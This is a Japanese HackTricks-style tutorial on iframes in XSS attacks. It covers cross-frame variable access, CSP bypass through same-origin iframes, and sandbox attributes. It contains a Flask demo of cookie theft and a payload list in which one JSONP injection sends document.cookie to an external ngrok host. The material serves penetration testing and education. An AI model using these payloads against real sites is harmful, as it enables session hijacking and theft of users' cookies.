ゼロからヒーローまでAWSハッキングを学ぶ htARTE(HackTricks AWS Red Team Expert) を使って学ぶ!
サイバーセキュリティ企業 で働いていますか? HackTricksで会社を宣伝 したいですか?またはPEASSの最新バージョンにアクセスしたり、HackTricksをPDFでダウンロード したいですか?SUBSCRIPTION PLANS をチェックしてください!
XSSにおけるiframes
iframesのページの内容を示す方法は3つあります:
src
を使用してURLを示す(URLはクロスオリジンまたは同一オリジンである可能性があります)
data:
プロトコルを使用してコンテンツを示すsrc
を介して
Copy < html >
< script >
var secret = "31337s3cr37t" ;
</ script >
< iframe id = "if1" src = "http://127.0.1.1:8000/child.html" ></ iframe >
< iframe id = "if2" src = "child.html" ></ iframe >
< iframe id = "if3" srcdoc = "<script>var secret='if3 secret!'; alert(parent.secret)</script>" ></ iframe >
<iframe id="if4" src="data:text/html;charset=utf-8,%3Cscript%3Evar%20secret='if4%20secret!';alert(parent.secret)%3C%2Fscript%3E"></iframe>
< script >
function access_children_vars (){
alert ( if1 .secret);
alert ( if2 .secret);
alert ( if3 .secret);
alert ( if4 .secret);
}
setTimeout (access_children_vars , 3000 );
</ script >
</ html >
Copy <!-- content of child.html -->
< script >
var secret = "child secret" ;
alert ( parent .secret)
</ script >
XSSとCSPにおけるiframes
前のHTMLにHTTPサーバー経由でアクセスすると(python3 -m http.server
のように)、すべてのスクリプトが実行されることがわかります(CSPがそれを防いでいないため)。親は任意のiframe内の secret
変数にアクセスできない ことに注意し、**元のウィンドウ内の秘密にアクセスできるのはif2とif3のみ(同一サイトと見なされる)**です。
if4がnull
オリジンであると見なされることに注目してください。
CSP付きのiframes
次のバイパスで、iframedページへの応答にJSの実行を防ぐCSPヘッダーが含まれていないことに注意してください。
script-src
のself
値は、data:
プロトコルやsrcdoc
属性を使用したJSコードの実行を許可しません。
ただし、CSPのnone
値でも、src
属性にURL(完全なURLまたはパスのみ)を設定するiframeの実行を許可します。
したがって、次のようにページのCSPをバイパスすることが可能です:
Copy < html >
< head >
< meta http-equiv = "Content-Security-Policy" content = "script-src 'sha256-iF/bMbiFXal+AAl9tF8N6+KagNWdMlnhLqWkjAocLsk='" >
</ head >
< script >
var secret = "31337s3cr37t" ;
</ script >
< iframe id = "if1" src = "child.html" ></ iframe >
< iframe id = "if2" src = "http://127.0.1.1:8000/child.html" ></ iframe >
< iframe id = "if3" srcdoc = "<script>var secret='if3 secret!'; alert(parent.secret)</script>" ></ iframe >
<iframe id="if4" src="data:text/html;charset=utf-8,%3Cscript%3Evar%20secret='if4%20secret!';alert(parent.secret)%3C%2Fscript%3E"></iframe>
</ html >
注意:前のCSPはインラインスクリプトの実行のみを許可しています 。
ただし、if1
と if2
スクリプトのみが実行されますが、 if1
のみが親の秘密にアクセスできます 。
したがって、サーバーにJSファイルをアップロードしてiframe経由でロードできる場合、 script-src 'none'
でCSPをバイパスすることが可能 です。これは同一サイトのJSONPエンドポイントを悪用して行うこともできます 。
次のシナリオでこれをテストできます。script-src 'none'
でもクッキーが盗まれる可能性があります。アプリケーションを実行し、ブラウザでアクセスしてください:
Copy import flask
from flask import Flask
app = Flask ( __name__ )
@app . route ( "/" )
def index ():
resp = flask . Response ( '<html><iframe id="if1" src="cookie_s.html"></iframe></html>' )
resp . headers [ 'Content-Security-Policy' ] = "script-src 'self'"
resp . headers [ 'Set-Cookie' ] = 'secret=THISISMYSECRET'
return resp
@app . route ( "/cookie_s.html" )
def cookie_s ():
return "<script>alert(document.cookie)</script>"
if __name__ == "__main__" :
app . run ()
野生で見つかった他のペイロード
Copy <!-- This one requires the data: scheme to be allowed -->
< iframe srcdoc = '<script src="data:text/javascript,alert(document.domain)"></script>' ></ iframe >
<!-- This one injects JS in a jsonp endppoint -->
<iframe srcdoc='<script src="/jsonp?callback=(function(){window.top.location.href=`http://f6a81b32f7f7.ngrok.io/cooookie`%2bdocument.cookie;})();//"></script>
<!-- sometimes it can be achieved using defer& async attributes of script within iframe (most of the time in new browser due to SOP it fails but who knows when you are lucky?)-->
<iframe src='data:text/html,<script defer="true" src="data:text/javascript,document.body.innerText=/hello/"></script>'></iframe>
Iframe sandbox
iframe内のコンテンツは、sandbox
属性を使用して追加の制限を受ける可能性があります。デフォルトでは、この属性は適用されず、制限はありません。
sandbox
属性を使用すると、いくつかの制限が課せられます:
コンテンツは一意のソースから発信されたものとして扱われます。
リンクが他のブラウジングコンテキストとやり取りするのを防ぎます。
<embed>
、<object>
、<applet>
などのタグを介したプラグインの使用が禁止されます。
コンテンツ自体によるトップレベルブラウジングコンテキストのナビゲーションが防止されます。
動画再生やフォームコントロールの自動フォーカスなど、自動的にトリガーされる機能がブロックされます。
属性の値は空にしておくこともできます (sandbox=""
) これにより、前述の制限がすべて適用されます。代わりに、特定の値のスペース区切りリストに設定して、特定の制限からiframeを除外することもできます。
Copy < iframe src = "demo_iframe_sandbox.htm" sandbox ></ iframe >
SOP(同一生成元ポリシー)内のiframes
以下のページをチェックしてください: